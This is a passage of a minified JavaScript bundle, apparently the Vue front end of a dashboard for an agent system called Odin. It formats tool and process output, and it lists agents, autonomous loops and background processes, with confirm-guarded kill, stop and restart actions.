- `},io=e=>e!==null&&typeof e=="object"&&!Array.isArray(e),Da=e=>Number.isSafeInteger(e)&&e>=0,p1=e=>e===null||typeof e=="string",Dr=(e,t)=>Da(e)&&Da(t)&&t>=e,qu=e=>io(e)&&typeof e.status=="string"&&typeof e.truncated=="boolean"&&p1(e.cursor);function f1(e){return!qu(e)||e.kind!=="tool_output"?!1:e.retention==="failed"?typeof e.error=="string"&&typeof e.head=="string"&&io(e.tail)&&typeof e.tail.text=="string"&&e.cursor===null&&e.truncated:e.retention!=="retained"||typeof e.result_id!="string"||!Da(e.total_chars)||!Da(e.total_bytes)||e.offset_unit!=="unicode_code_points"||!Dr(e.start,e.end)||e.end>e.total_chars?!1:"head"in e?typeof e.head=="string"&&io(e.tail)&&typeof e.tail.text=="string"&&Dr(e.tail.start,e.tail.end)&&e.tail.end<=e.total_chars&&e.tail_is_context_only===!0:typeof e.text=="string"&&!("tail"in e)}function zf(e){return qu(e)&&e.kind==="process_output"&&Da(e.pid)&&typeof e.generation=="string"&&(e.exit_code===null||Number.isInteger(e.exit_code))&&["emitted_bytes","retained_bytes","shown_bytes","capture_limit_loss_bytes","not_retained_bytes"].every(t=>Da(e[t]))&&e.retained_bytes<=e.emitted_bytes&&Array.isArray(e.shown_intervals)&&e.shown_intervals.every(t=>Array.isArray(t)&&t.length===2&&Dr(...t)&&t[1]<=("text"in e?e.retained_bytes:e.emitted_bytes))}function m1(e){return qu(e)&&!("kind"in e)&&typeof e.id=="string"&&typeof e.label=="string"&&typeof e.preview=="string"&&["original_bytes","result_bytes","error_bytes","source_original_bytes"].every(t=>Da(e[t]))&&Dr(e.offset,e.end)&&e.end<=e.original_bytes&&e.result_bytes+e.error_bytes===e.original_bytes&&Array.isArray(e.tools_used)&&e.tools_used.every(t=>typeof t=="string")&&Da(e.tools_omitted)}function Md(e){try{return JSON.parse(e)}catch{return}}const Dd=e=>JSON.stringify(e,null,2),v1=e=>{const t=Md(e);return t===void 0?e:Dd(t)},Uo=(e,t,s)=>`[${e}, ${t}) ${s}`;function Og(e,{prettyPrint:t=!0}={}){var o,r;const s=typeof e=="string"?e:Dd(e)??"";let a=typeof e=="string"?Md(e):e,n=null;if(typeof e=="string"&&a===void 0){const c=` -[output retention] `,d=e.lastIndexOf(c),u=e.indexOf(` -`);if(d>u&&u>0){const p=Md(e.slice(d+c.length)),m=e.slice(0,u);zf(p)&&!("text"in p)&&m.startsWith(`[PID ${p.pid}] status=${p.status} `)&&(a=p,n=e.slice(u+1,d))}}const i={raw:s,kind:"text",header:[],sections:[],metadata:null},l=(c,d)=>({label:c,text:t?v1(d):d});if(io(a)&&a.kind==="audit_preview"&&a.audit_clipped===!0&&(!("original_chars"in a)||Da(a.original_chars))&&(!("preview"in a)||typeof a.preview=="string")){if(i.kind="audit_preview",i.header=["audit clipped: yes",...Da(a.original_chars)?[`original ${a.original_chars} code points`]:[]],io(a.source))for(const c of["kind","status","retention","truncated","capture_loss","capture_limit_loss_bytes","not_retained_bytes","cursor_present","total_bytes","total_chars","retained_bytes","emitted_bytes","shown_bytes","offset_unit","capture_error","pid","exit_code","start","end","tail_status","original_bytes","result_bytes","error_bytes","offset","source_original_bytes","id","capture_lost_bytes","dropped_bytes","output_lost","capture_truncated","retention_seconds_after_exit"])["string","number","boolean"].includes(typeof a.source[c])&&i.header.push(`source ${c}: ${a.source[c]}`);return i.sections.push({label:"Audit preview — incomplete source; raw shows stored wrapper",text:a.preview??(t?"(no preview retained in audit)":"")}),i.metadata=a,i}if(f1(a))i.kind="tool_output",i.header=[a.status,`retention: ${a.retention}`],a.retention==="retained"?(i.header.push(`${a.total_bytes} UTF-8 bytes`,`${a.total_chars} code points`),i.sections.push(l(`${"head"in a?"Head":"Page"} ${Uo(a.start,a.end,"code points")}`,a.head??a.text)),(o=a.tail)!=null&&o.text&&i.sections.push(l(`Tail context only ${Uo(a.tail.start,a.tail.end,"code points")} — not a continuation`,a.tail.text))):(i.header.push(a.error),i.sections.push(l("Head — retention failed",a.head),l("Tail context only — may overlap head",a.tail.text))),typeof((r=a.matches)==null?void 0:r.summary)=="string"&&i.header.push(a.matches.summary);else if(zf(a)&&(typeof a.text=="string"||n!==null)){i.kind="process_output",i.header=[a.status,`PID ${a.pid}`,...a.exit_code!==null?[`exit ${a.exit_code}`]:[],`emitted ${a.emitted_bytes} B`,`retained ${a.retained_bytes} B`,`shown ${a.shown_bytes} B`,`capture-limit loss ${a.capture_limit_loss_bytes} B`,`not retained ${a.not_retained_bytes} B`],a.capture_error&&i.header.push(`capture error: ${a.capture_error}`),a.tail_status&&i.header.push(`recent output: ${a.tail_status}`);const c=a.shown_intervals.map(d=>Uo(...d,"UTF-8 bytes")).join(", ");i.sections.push(l(`${n!==null?"Recent preview — retrieval starts at byte 0":"Page"}${c?" · "+c:""}`,n??a.text))}else if(m1(a))i.kind="agent_result",i.header=[a.status,`agent ${a.id}`,a.label,`original ${a.original_bytes} B`,`result ${a.result_bytes} B`,`error ${a.error_bytes} B`,`source ${a.source_original_bytes} B`,`tools ${a.tools_used.length} shown / ${a.tools_omitted} omitted`],i.sections.push(l(`Result + error page ${Uo(a.offset,a.end,"UTF-8 bytes")}`,a.preview));else return i.kind=a===void 0?"text":"json",i.sections.push({label:"",text:a===void 0||!t&&typeof e=="string"?s:t?Dd(a):JSON.stringify(a)}),i;if(i.metadata=a,i.header.push(`source truncated: ${a.truncated?"yes":"no"}`,`cursor: ${a.cursor?"present":"none"}`),typeof a.expires_at=="string"&&i.header.push(`expires: ${a.expires_at}`),typeof a.expires_at=="number"){const c=new Date(a.expires_at*1e3);Number.isNaN(c.valueOf())||i.header.push(`expires: ${c.toISOString()}`)}return i}function Lg(e,t=30,s=6e3){let a=1,n=0,i=0;if(t>0&&s>0)for(const l of e){if(n>=s||l===` -`&&a>=t)break;l===` -`&&a++,n++,i+=l.length}return{text:e.slice(0,i),folded:ie!==null&&typeof e=="object",g1=new Set(["_hmac","_prev_hmac"]),Pd=e=>e.replace(/\r\n?/g,` -`);function lo(e){const t=typeof e=="string"?e:JSON.stringify(e)??"";try{let s=!1;const a=JSON.parse(t,(n,i)=>{if(g1.has(n)){s=!0;return}return i});return Pd(s?JSON.stringify(a):t)}catch{return Pd(t)}}function b1(e){const t=e.metadata;if(!t)return[];const s=[],a=e.kind==="audit_preview"&&h1(t.source)?t.source:t;return e.kind==="audit_preview"&&s.push("audit clipped"),a.truncated===!0&&s.push("source truncated"),a.retention==="failed"&&s.push("retention unavailable"),a.capture_error&&s.push(`capture unavailable: ${a.capture_error}`),a.capture_limit_loss_bytes>0&&s.push(`capture loss ${a.capture_limit_loss_bytes} B`),a.not_retained_bytes>0&&s.push(`not retained ${a.not_retained_bytes} B`),a.capture_lost_bytes>0&&s.push(`capture lost ${a.capture_lost_bytes} B`),a.dropped_bytes>0&&s.push(`dropped ${a.dropped_bytes} B`),(a.capture_loss===!0||a.output_lost===!0||a.capture_truncated===!0)&&s.push("capture loss"),Number.isInteger(a.exit_code)&&a.exit_code!==0&&s.push(`process exit ${a.exit_code}`),["failed","error","cancelled","timed_out"].includes(a.status)&&s.push(`source ${a.status}`),e.kind==="audit_preview"&&!t.preview&&s.push("audit body unavailable"),s}function y1(e){var m;const t=Og(typeof e=="string"?Pd(e):e,{prettyPrint:!1}),s=t.sections.map(h=>({...h,text:lo(h.text)})),a=s.map(h=>h.text).filter(Boolean).join(` -`),n=a.replace(/\n$/,""),i=[...a].length,l=n?n.split(` -`).length:0,o=!["text","json"].includes(t.kind),r=l>=2||i>Wc.inlineChars||o&&n.length>0,c=s.filter(h=>h.text).map(h=>{let y=h.text;try{y=JSON.stringify(JSON.parse(y),null,2)}catch{}return h.label?`${h.label} -${y}`:y}).join(` - -`).replace(/\n$/,""),d=Lg(c,Wc.previewLines,Wc.previewChars),u=t.kind==="audit_preview"?(m=t.metadata)==null?void 0:m.source:t.metadata,p=u&&(t.kind==="process_output"||u.kind==="process_output")?`PID ${u.pid??"?"} ${u.status??""}${Number.isInteger(u.exit_code)?` exit ${u.exit_code}`:""}`.trim():t.kind==="agent_result"&&(u!=null&&u.status)?`agent ${u.status}`:"";return{promoted:r,chars:i,lines:l,envelope:o,kind:t.kind,formatted:c,preview:d,outcome:p,header:t.header,summary:n.replace(/\n/g," "),warnings:b1(t)}}const x1={name:"CompactOutput",props:{value:{default:""},rawValue:{default:void 0},label:{type:String,default:"Output"},hasContext:{type:Boolean,default:!1},recordId:{default:null}},setup(e){const t=f(!1),s=f(!0),a=f(!1),n=f(""),i=f(null),l=f(null),o=f(!1),r=B(()=>y1(e.value)),c=B(()=>{const x=e.rawValue===void 0?e.value:e.rawValue;return typeof x=="string"?x:JSON.stringify(x,null,2)??""}),d=B(()=>a.value?c.value:r.value.formatted),u=B(()=>r.value.promoted&&r.value.preview.folded||o.value),p=B(()=>t.value?!!d.value:r.value.promoted),m=B(()=>p.value?"":r.value.summary);let h;function y(){if(t.value)return;const x=r.value.promoted?i.value:l.value;o.value=!!(x&&(x.scrollHeight>x.clientHeight+1||x.scrollWidth>x.clientWidth+1))}function k(){h==null||h.disconnect();for(const x of[i.value,l.value])x&&(h==null||h.observe(x));y()}function A(){t.value=!t.value,t.value||(a.value=!1)}function g(){a.value=!a.value,t.value=!0,n.value=""}async function b(){const x=e.value;try{await navigator.clipboard.writeText(d.value),x===e.value&&(n.value="Copied")}catch{x===e.value&&(n.value="Copy unavailable — select text manually")}}return Gt([()=>e.value,()=>e.rawValue,()=>e.recordId],(x,w)=>{(e.recordId===null||x[2]!==w[2])&&(t.value=!1,a.value=!1),n.value=""}),Gt([i,l,t,s,r],()=>Ut(k),{flush:"post"}),st(()=>{h=new ResizeObserver(y),k()}),wt(()=>h==null?void 0:h.disconnect()),{expanded:t,wrapped:s,rawMode:a,copyStatus:n,previewElement:i,summaryElement:l,model:r,body:d,canExpand:u,showBody:p,headerSummary:m,toggleExpanded:A,toggleRaw:g,copyOutput:b}},template:` -
-
-
- -
-
- - - -
- -
- -
- - - - {{ model.outcome }} - {{ headerSummary }} - -
-
{{ expanded ? body : model.preview.text }}
-
-
{{ model.warnings.join('; ') }}
-
{{ model.header.join(' · ') }}
- -
- {{ copyStatus }} -
`},pc={name:"ToolOutput",components:{CompactOutput:x1},props:{value:{default:""},label:{type:String,default:"Output"},presentation:{type:String,default:"inspector"},rawValue:{default:void 0},hasContext:{type:Boolean,default:!1},recordId:{default:null}},setup(e){const t=f(!1),s=f(!0),a=f(!1),n=f(""),i=B(()=>Og(e.value)),l=B(()=>a.value?[{label:"Raw received value",text:i.value.raw}]:i.value.sections),o=B(()=>{let u=30,p=6e3;return l.value.map(m=>{const h=Lg(m.text,u,p);return u=Math.max(0,u-h.lines),p=Math.max(0,p-h.chars),{...m,display:t.value?m.text:h.text,folded:h.folded}})}),r=B(()=>o.value.some(u=>u.folded)),c=B(()=>a.value?i.value.raw:l.value.map(u=>u.label?`${u.label} -${u.text}`:u.text).join(` - -`));async function d(){const u=e.value;try{await navigator.clipboard.writeText(c.value),e.value===u&&(n.value="Copied")}catch{e.value===u&&(n.value="Copy unavailable — select text manually")}}return Gt(()=>e.value,()=>{t.value=!1,n.value=""}),Gt(a,()=>{t.value=!1,n.value=""}),{expanded:t,wrapped:s,rawMode:a,copyStatus:n,model:i,foldedSections:o,canExpand:r,copyOutput:d}},template:` - - - - - -
-
- {{ model.kind }} - {{ item }} -
-
- - - - {{ copyStatus }} -
-
- -
{{ section.display }}
- More received text hidden locally. -
- -
- `},_1={components:{ToolOutput:pc},setup(){const e=f([]),t=f([]),s=f({}),a=50;function n(p){var y,k,A,g,b,x,w,_,T,L,E;const m=p.payload||p,h=m.type||p.type;if(!(["loop_tool_start","loop_tool"].includes(h)&&!(m.agent_id||(y=m.metadata)!=null&&y.agent_id))&&!(["loop_tool_start","loop_tool"].includes(h)&&!(m.call_id||(k=m.metadata)!=null&&k.call_id))){if(h==="tool_start"||h==="loop_tool_start"){const F=m.call_id||((A=m.metadata)==null?void 0:A.call_id)||null,O=m.agent_id||((g=m.metadata)==null?void 0:g.agent_id)||"",I={callId:F,agentId:O,agentLabel:m.agent_label||((b=m.metadata)==null?void 0:b.agent_label)||"",toolInput:m.tool_input,id:F?`${O}:${F}`:`${m.action}-${Date.now()}`,tool:m.action,actor:m.actor||"",channel:m.channel_id||"",iteration:m.iteration??((x=m.metadata)==null?void 0:x.iteration)??0,startTime:Date.now(),elapsed:0,status:"running",output:"",result:""};e.value.unshift(I);return}if(h==="tool_end"||h==="loop_tool"){const F=m.call_id||((w=m.metadata)==null?void 0:w.call_id)||null,O=m.agent_id||((_=m.metadata)==null?void 0:_.agent_id)||"";let I=-1;if(F&&(I=e.value.findIndex(H=>H.callId===F&&H.agentId===O&&H.status==="running")),I<0&&!F)for(let H=e.value.length-1;H>=0;H--){const te=e.value[H];if(te.tool===m.action&&te.agentId===O&&te.status==="running"){I=H;break}}if(I>=0){const H=e.value[I];H.status=m.error||(T=m.metadata)!=null&&T.error||["error","failed","cancelled","denied","outcome_unknown"].includes(m.status||((L=m.metadata)==null?void 0:L.status))?"error":"success",H.elapsed=m.execution_time_ms??m.duration_ms??((E=m.metadata)==null?void 0:E.elapsed_ms)??Date.now()-H.startTime,H.result=m.result_summary??m.detail??"",H.fadingOut=!0,setTimeout(()=>{const te=e.value.indexOf(H);te>=0&&e.value.splice(te,1),t.value.unshift(H),t.value.length>a&&t.value.pop()},5e3)}return}if(h==="tool_stream"){const F=m.call_id||m.tool_name||"unknown";if(m.finished){const O={...s.value};delete O[F],s.value=O}else{const I=((s.value[F]||"")+(m.chunk||"")).split(` -`);s.value={...s.value,[F]:I.slice(-30).join(` -`)}}return}}}let i=null;function l(){const p=Date.now();e.value.forEach(m=>{m.status==="running"&&(m.elapsed=p-m.startTime)})}let o=!1;function r(){o||(o=!0,mt.on("events",n),i||(i=setInterval(l,500)))}function c(){o&&(o=!1,mt.off("events",n),i&&(clearInterval(i),i=null))}st(r),cs(r),es(c),wt(c);function d(p){return p<1e3?`${p}ms`:`${(p/1e3).toFixed(1)}s`}function u(p){return p==="running"?"clock":p==="success"?"success":p==="error"?"error":"info"}return{activeTasks:e,recentHistory:t,streamOutput:s,formatMs:d,statusIcon:u}},template:` -
-

- Execution Viewer -

- - -
-

Active

-
- No active tool executions -
-
-
-
- - - {{ task.tool }} - iter {{ task.iteration }} - agent {{ task.agentLabel || task.agentId }} -
- {{ formatMs(task.elapsed) }} -
- -
Arguments
- - -
-
- - -
-

Live Output

-
-
{{ tool }}
- - -
-
- - -
-

- Recent ({{ recentHistory.length }}) -

-
- No recent executions -
-
- - {{ task.tool }} - agent {{ task.agentLabel || task.agentId }} - {{ formatMs(task.elapsed) }} -
Arguments
- -
-
-
- `};function Vu(e){if(e instanceof Date)return e;if(typeof e=="string"){const t=new Date(e);return isNaN(t.getTime())?null:t}return typeof e=="number"&&isFinite(e)?new Date(e<1e12?e*1e3:e):null}function di(e){const t=Vu(e);return t?t.toLocaleString(void 0,{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"}):"—"}function w1(e){const t=Vu(e);return t?t.toLocaleTimeString():"—"}function Ng(e){const t=Vu(e);if(!t)return"—";const s=Math.max(0,Math.floor((Date.now()-t.getTime())/1e3));return s<60?`${s}s ago`:s<3600?`${Math.floor(s/60)}m ago`:s<86400?`${Math.floor(s/3600)}h ago`:`${Math.floor(s/86400)}d ago`}function k1(e){if(e==null||!isFinite(e))return"—";const t=Math.max(0,Math.floor(Number(e)));return t<60?"less than 1 min ago":t<3600?`${Math.floor(t/60)} min ago`:t<86400?`${Math.floor(t/3600)} hr ago`:`${Math.floor(t/86400)} day ago`}function Xi(e){if(e==null||!isFinite(e))return"—";const t=Math.max(0,Math.round(e));if(t<60)return`${t}s`;if(t<3600){const n=Math.floor(t/60),i=t%60;return i?`${n}m ${i}s`:`${n}m`}const s=Math.floor(t/3600),a=Math.floor(t%3600/60);return a?`${s}h ${a}m`:`${s}h`}function Gu(e,t=200){const s=String(e??"");return s.length>t?s.slice(0,t)+"…":s}function Mg(e,t=5e3){const s=String(e??"");return s.length>t?s.slice(0,t)+` -... (truncated)`:s}function Hf(e){return String(e??"").replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'")}function Wu(e){return e==null||!isFinite(e)?"—":Number(e).toLocaleString()}function Dg(e){return e==null||!isFinite(e)?"—":e>=1e3?`${(e/1e3).toFixed(1)}k`:String(e)}const Pg=Symbol("agent-detail-cancelled"),S1=15e3;function C1(e,{timeoutMs:t,timeoutLabel:s,scheduleTimeout:a,cancelTimeout:n}){const i=typeof AbortController=="function"?new AbortController:null;let l=null,o=!1,r,c;const d=new Promise((m,h)=>{r=m,c=h});function u(m,h){o||(o=!0,l!==null&&n(l),l=null,(m?r:c)(h))}let p;try{p=e(i==null?void 0:i.signal)}catch(m){u(!1,m)}return o||Promise.resolve(p).then(m=>u(!0,m),m=>u(!1,m)),!o&&Number.isFinite(t)&&t>0&&(l=a(()=>{const m=Math.max(1,Math.round(t/1e3));u(!1,new Error(`${s} request timed out after ${m}s`)),i==null||i.abort()},t)),{promise:d,cancel(){u(!0,Pg),i==null||i.abort()}}}function $g({state:e,requestDetail:t,timeoutMs:s=S1,detailLabel:a="Agent detail",scheduleTimeout:n=globalThis.setTimeout.bind(globalThis),cancelTimeout:i=globalThis.clearTimeout.bind(globalThis)}){if(!e||typeof e!="object")throw new TypeError("agent detail state is required");if(typeof t!="function")throw new TypeError("requestDetail must be a function");let l=null;function o(){const p=l;l=null,p==null||p.cancel()}function r(p,{initial:m,coalesce:h}){if(!p)return Promise.resolve();if(h&&l&&l.agentId===p&&e.detailId===p)return l.promise;o();const y={agentId:p,cancel:null,promise:null};l=y,m?(e.detail=null,e.detailError=null,e.detailLoading=!0):e.detail===null&&e.detailError===null&&(e.detailLoading=!0);const k=C1(A=>t(p,{signal:A}),{timeoutMs:s,timeoutLabel:a,scheduleTimeout:n,cancelTimeout:i});return y.cancel=k.cancel,y.promise=(async()=>{let A=null,g=null;try{A=await k.promise}catch(b){g=b}A!==Pg&&(l!==y||e.detailId!==p||(l=null,!g&&(A===null||typeof A!="object")&&(g=new Error(`${a} response was empty or invalid`)),g?e.detail===null&&(e.detailError=(g==null?void 0:g.message)||`Failed to load ${a.toLowerCase()}`):(e.detail=A,e.detailError=null),e.detailLoading=!1))})(),y.promise}function c(p){return e.detailId=p,r(p,{initial:!0,coalesce:!1})}function d(){const p=e.detailId;return p?r(p,{initial:!1,coalesce:!0}):Promise.resolve()}function u(){o(),e.detailId=null,e.detail=null,e.detailError=null,e.detailLoading=!1}return{open:c,refresh:d,close:u,hasInFlight:()=>l!==null}}function T1({isEnabled:e,refreshList:t,hasOpenDetail:s,refreshDetail:a,intervalMs:n=5e3,scheduleInterval:i=globalThis.setInterval.bind(globalThis),cancelInterval:l=globalThis.clearInterval.bind(globalThis)}){let o=null;function r(){e()&&(t(),s()&&a())}function c(){o!==null&&(l(o),o=null)}function d(){c(),e()&&(o=i(r,n))}function u(){e()?d():c()}return{start:d,stop:c,sync:u,isRunning:()=>o!==null}}const E1={components:{ToolOutput:pc},template:` -
-
-

Agents

-
- - -
-
- - -
-
- {{ agents.length }} - Total -
-
- {{ runningCount }} - Running -
-
- {{ completedCount }} - Completed -
-
- {{ failedCount }} - Failed -
-
- - - - - -
-
-
- -
- - No agents - Agents are spawned via Discord commands or the chat interface -
- - -
- -
-
- -
-
- - {{ agent.label }} - {{ agent.id }} -
- {{ agent.status }} -
- - - -
- {{ displayModelText(agent) }} - {{ displayEffortText(agent) }} -
- - -
{{ agent.goal }}
- - -
-
-
- - -
-
- Iterations - {{ agent.iteration_count }} -
-
- Runtime - {{ formatDuration(agent.runtime_seconds) }} -
-
- Tools - {{ agent.tools_used_count ?? 0 }} -
-
- - -
- - by {{ agent.requester_name }} - - - {{ formatTs(agent.created_at) }} - -
- - -
-
Result
-
{{ agent.result }}
-
-
-
Error
-
{{ agent.error }}
-
- -
- - -
- -
-
-
- - - -
`,setup(){const e=f([]),t=f(!0),s=f(null),a=f(null),n=f(!0),i=f("all");let l=!1;const o=B(()=>e.value.filter($=>$.status==="running").length),r=B(()=>e.value.filter($=>$.status==="completed").length),c=B(()=>e.value.filter($=>["failed","timeout","killed"].includes($.status)).length),d=B(()=>[{value:"all",label:"All",count:e.value.length},{value:"running",label:"Running",count:o.value},{value:"completed",label:"Completed",count:r.value},{value:"failed",label:"Failed",count:c.value}]),u=B(()=>i.value==="all"?e.value:i.value==="failed"?e.value.filter($=>["failed","timeout","killed"].includes($.status)):e.value.filter($=>$.status===i.value));function p($){const re=Number($.max_iterations)||0;return re<=0?0:Math.min(100,Math.round($.iteration_count/re*100))}function m($){return(Number($.max_iterations)||0)>0}function h($,re){return $?$==="N/A"?"N/A":re==="current_inheritance"?`inherit (currently ${$})`:$:"unknown"}function y($){return h($.display_model,$.display_model_source||$.display_source)}function k($){return h($.display_reasoning_effort,$.display_reasoning_effort_source||$.display_source)}function A($){return{last_execution:"last executed",current_inheritance:"inherited from current config — not yet executed",spawn_override_pending:"requested at spawn — not yet executed",unknown:"no execution data"}[$]||""}const g=f(null),b=f(null),x=f(!1),w=f(null),_=f(""),L=$g({state:{get detail(){return g.value},set detail($){g.value=$},get detailId(){return b.value},set detailId($){b.value=$},get detailLoading(){return x.value},set detailLoading($){x.value=$},get detailError(){return w.value},set detailError($){w.value=$}},requestDetail:($,{signal:re})=>z.get(`/api/agents/${encodeURIComponent($)}`,{signal:re})});async function E($){_.value="",await L.open($.id)}function F(){L.close(),_.value=""}async function O(){await L.refresh()}async function I($,re){try{await navigator.clipboard.writeText(re||""),_.value=$,setTimeout(()=>{_.value===$&&(_.value="")},1500)}catch{Se.error("Copy failed")}}async function H($=!1){$=$===!0,$||(t.value=!0);try{const re=await z.get("/api/agents");e.value=Array.isArray(re)?re:[],s.value=null}catch(re){$||(s.value=re.message)}$||(t.value=!1)}async function te($){const re=e.value.find(Z=>Z.id===$);if(await is({title:"Kill agent",message:`Kill agent "${(re==null?void 0:re.label)||$}"? Its current work will be lost.`,confirmLabel:"Kill",danger:!0})){a.value=$;try{await z.del(`/api/agents/${encodeURIComponent($)}`),Se.success("Agent killed"),await H()}catch(Z){Se.error(Z.message||"Failed to kill agent")}a.value=null}}const ee=T1({isEnabled:()=>n.value&&l,refreshList:()=>H(!0),hasOpenDetail:()=>!!b.value,refreshDetail:O});function N(){ee.start()}function M(){ee.stop()}return Gt(n,()=>ee.sync()),st(()=>{l=!0,H(),N()}),cs(()=>{l=!0,H(!0),N()}),es(()=>{l=!1,M()}),wt(()=>{l=!1,M(),L.close()}),{agents:e,loading:t,error:s,killing:a,autoRefresh:n,statusFilter:i,runningCount:o,completedCount:r,failedCount:c,statusFilters:d,filteredAgents:u,formatTs:di,formatDuration:Xi,progressPercent:p,hasProgress:m,displayModelText:y,displayEffortText:k,displaySourceLabel:A,detail:g,detailId:b,detailLoading:x,detailError:w,copied:_,openDetail:E,closeDetail:F,copyText:I,fetchAgents:H,killAgent:te,startAutoRefresh:N,stopAutoRefresh:M}}},A1={template:` -
-
-

Autonomous Loops

-
- - -
-
- - -
-

Start New Loop

- -
- -
- -
-
- -
-
- -
-
- -
-
- -
-
- -
-
- -
-
- -
{{ createError }}
- - -
- - -
-
-
- -
- - No active loops - Click "Start Loop" to create an autonomous recurring task -
-
- -
-
-
{{ loops.length }}
-
Total Loops
-
-
-
{{ runningCount }}
-
Running
-
-
-
{{ totalIterations }}
-
Total Iterations
-
-
- - -
-
-
-
-
- - {{ loop.status || 'running' }} - {{ loop.mode }} - {{ loop.id }} -
-
- -
{{ loop.goal }}
- -
-
- Interval: - {{ formatDuration(loop.interval_seconds) }} -
-
- Iterations: - {{ loop.iteration_count }} / {{ loop.max_iterations }} -
-
-
-
-
- Last trigger: - {{ loop.last_trigger_age_seconds == null ? 'pending' : formatDuration(loop.last_trigger_age_seconds) + ' ago' }} -
-
- Created: - {{ formatAge(loop.created_at) }} -
-
- -
- Stop when: {{ loop.stop_condition }} -
- -
- Started by {{ loop.requester_name }} -
- -
- Latest context preview - {{ loop.iteration_history[loop.iteration_history.length - 1] }} -
-
-
- - -
-
-
-
- - - -
`,setup(){const e=f([]),t=f(!0),s=f(null),a=f(!1),n=f({goal:"",interval_seconds:60,mode:"notify",max_iterations:50,stop_condition:"",channel_id:""}),i=f(!1),l=f(null),o=f(null),r=f(null),c=f(null),d=f(null),u=f(!1),p=f(null),m=f("");let h=!1;const k=$g({state:{get detail(){return c.value},set detail(M){c.value=M},get detailId(){return d.value},set detailId(M){d.value=M},get detailLoading(){return u.value},set detailLoading(M){u.value=M},get detailError(){return p.value},set detailError(M){p.value=M}},detailLabel:"Loop detail",requestDetail:(M,{signal:$})=>z.get(`/api/loops/${encodeURIComponent(M)}?limit=100`,{signal:$})});async function A(M){m.value="",await k.open(M.id)}function g(){k.close(),m.value=""}async function b(M,$){try{await navigator.clipboard.writeText($||""),m.value=M,setTimeout(()=>{m.value===M&&(m.value="")},1500)}catch{Se.error("Copy failed")}}const x=B(()=>e.value.reduce((M,$)=>M+($.iteration_count||0),0)),w=B(()=>e.value.filter(M=>M.status==="running").length);function _(M){return M==="running"?"loop-status-running":M==="error"?"loop-status-error":"loop-status-stopped"}function T(M){return M==="running"?"badge-success":M==="error"?"badge-danger":M==="completed"?"badge-info":"badge-warning"}function L(M){return M==="act"?"badge-warning":M==="silent"?"badge-info":"badge-success"}async function E(M=!1){M=M===!0,M||(t.value=!0);try{const $=await z.get("/api/loops");e.value=Array.isArray($)?$:[],s.value=null}catch($){M||(s.value=$.message)}M||(t.value=!1)}async function F(){l.value=null;const M=n.value;if(!M.goal.trim()){l.value="Goal is required";return}if(!M.channel_id.trim()){l.value="Channel ID is required";return}const $={goal:M.goal.trim(),channel_id:M.channel_id.trim(),interval_seconds:M.interval_seconds||60,mode:M.mode,max_iterations:M.max_iterations||50};M.stop_condition.trim()&&($.stop_condition=M.stop_condition.trim()),i.value=!0;try{const re=await z.post("/api/loops",$);Se.success(`Loop started: ${re.loop_id}`),n.value={goal:"",interval_seconds:60,mode:"notify",max_iterations:50,stop_condition:"",channel_id:""},a.value=!1,await E()}catch(re){l.value=re.message}i.value=!1}async function O(M){if(await is({title:"Stop loop",message:`Stop loop ${M}? The current iteration will finish before stopping.`,confirmLabel:"Stop Loop",danger:!0})){o.value=M;try{await z.del(`/api/loops/${encodeURIComponent(M)}`),Se.success("Loop stopped"),await E()}catch(re){Se.error(re.message||"Failed to stop loop")}o.value=null}}async function I(M){r.value=M;try{await z.post(`/api/loops/${encodeURIComponent(M)}/restart`),Se.success("Loop restarted"),await E()}catch($){Se.error($.message||"Failed to restart loop")}r.value=null}function H(M){h&&M.payload&&(M.payload.loop_id||M.payload.type==="loop")&&(E(!0),d.value&&k.refresh())}let te=null;function ee(){te!==null&&clearInterval(te),te=null}function N(){ee(),h&&(te=setInterval(()=>{E(!0),d.value&&k.refresh()},5e3))}return st(()=>{h=!0,E(),mt.subscribe("events",H),N()}),cs(()=>{h=!0,E(!0),N()}),es(()=>{h=!1,ee()}),wt(()=>{h=!1,mt.unsubscribe("events",H),ee(),k.close()}),{loops:e,loading:t,error:s,showCreate:a,form:n,creating:i,createError:l,stoppingId:o,restartingId:r,detail:c,detailId:d,detailLoading:u,detailError:p,copied:m,totalIterations:x,runningCount:w,statusDotClass:_,statusBadge:T,modeBadge:L,formatAge:Ng,formatDuration:Xi,formatTs:di,formatTokens:Dg,openDetail:A,closeDetail:g,copyText:b,fetchLoops:E,doCreate:F,doStop:O,doRestart:I}}},R1={template:` -
-
-
-

Processes

-

Inspect managed command lifecycles, output, and exit state.

-
-
- - -
-
- -
-
-
- -
- - No background processes - Processes appear when Odin runs long-running commands -
-
- -
-
-
{{ processes.length }}
-
Total
-
-
-
{{ runningCount }}
-
Running
-
-
-
{{ completedCount }}
-
Completed
-
-
- - -
-
-
-
- - PID {{ p.pid }} - {{ p.status }} - (exit {{ p.exit_code }}) -
-
- {{ formatDuration(p.uptime_seconds) }} - -
-
- -
- {{ p.command }} -
- -
- Host: {{ p.host || 'local' }} -
- - -
-
Recent output:
-
{{ p.output_preview.join('\\n') }}
-
-
-
-
- -
`,setup(){const e=f([]),t=f(!0),s=f(null),a=f(!0);let n=null;const i=f(null),l=B(()=>e.value.filter(g=>g.status==="running").length),o=B(()=>e.value.filter(g=>g.status!=="running").length);function r(g){return g==="running"?"loop-status-running":g==="failed"||g==="error"?"loop-status-error":"loop-status-stopped"}function c(g){return g==="running"?"badge-success":g==="completed"||g==="exited"?"badge-info":g==="killed"||g==="error"||g==="failed"?"badge-danger":"badge-warning"}async function d(g=!1){g=g===!0,g||(t.value=!0);try{e.value=await z.get("/api/processes"),s.value=null}catch(b){g||(s.value=b.message)}g||(t.value=!1)}function u(){p(),a.value&&(n=setInterval(()=>{t.value||d(!0)},5e3))}function p(){n&&(clearInterval(n),n=null)}Gt(a,g=>{g?u():p()});async function m(g){if(await is({title:"Kill process",message:`Kill process ${g}?`,confirmLabel:"Kill",danger:!0})){i.value=g;try{await z.del(`/api/processes/${g}`),Se.success(`Process ${g} killed`),await d()}catch(x){Se.error(x.message||"Failed to kill process")}i.value=null}}function h(g){g.payload&&(g.payload.pid||g.payload.type==="process")&&d(!0)}let y=!1;function k(){y||(y=!0,d(),mt.subscribe("events",h),u())}function A(){y&&(y=!1,mt.unsubscribe("events",h),p())}return 